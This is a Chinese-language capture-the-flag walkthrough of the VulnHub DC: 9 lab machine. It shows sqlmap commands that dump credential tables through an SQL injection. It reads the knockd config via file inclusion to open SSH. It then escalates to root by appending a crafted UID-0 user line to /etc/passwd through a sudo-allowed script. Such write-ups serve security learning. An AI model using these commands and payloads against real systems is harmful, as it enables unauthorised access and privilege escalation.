环境

下载地址:DC: 9 ~ VulnHub

开始打靶

image-20230710215518164
端口开放
image-20230710215632028
访问页面,在search界面经过不断尝试确实存在注入
image-20230710215648288
丢进sqlmap看看

1
sqlmap -u "http://192.168.75.142/results.php" -data "search=1" --dbs

image-20230710215708752

1
sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users --tables

image-20230710215732019

1
sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails --columns

image-20230710215742063

1
sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails -C username,password --dump

image-20230710215806259
都是账号密码,然后去看看另一个库

1
sqlmap -u "http://192.168.75.142/results.php/results.php" -data "search=1" -D Staff -tables

image-20230710215817948
出来两个表,这里选择先看Users表,中间不列出数据了

1
sqlmap -u "http://192.168.75.142/results.php/results.php" -data "search=1" -D Staff -T Users -C Username,Password --dump

image-20230710215827174
image-20230710215846860
然后去登录,最终在如下位置找到文件包含
image-20230710215902265
在这里遇到一个新东西,以前没有碰到过
knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf
那么去访问这个文件
image-20230710215927048
然后使用nc都敲一遍
image-20230710215950798
然后使用nmap发现22端口打开
image-20230710220008671
接着把刚刚爆出来的用户密码全部弄一个张表,最终爆出来下面几个用户
image-20230710220044501
image-20230710220056987
三个用户经查看啥都没用,但是在用户janitor得到一些列密码
image-20230710220113563
加入到我们刚刚生成的密码中再爆一次,得到一个新用户
image-20230710220131358

提权

我们执行sudo -l看看
image-20230710220146891
进入这个目录没啥发现,返回上两层发现一个test.py文件
image-20230710220159542
最终发现它有着写入目录的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

通过向/etc/passwd中添加用户达到提权,并且密码需要加密

1
openssl passwd -1 -salt admin1 123456

image-20230710220214807
在Linux上执行,然后跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用user,

1
echo 'admin:$1$admin1$kBcb8DdRJKeqQ2e6acZ0J0:0:0::/root:/bin/bash' >> /tmp/user

创建完之后使用sudo命令执行user文件将/tmp/test1的内容写入到/etc/passwd文件中,然后使用sudo命令执行test文件将/tmp/user的内容写入到/etc/passwd文件中

1
sudo ./test /tmp/passwd /etc/passwd

然后切换账户提权成功
image-20230710220228195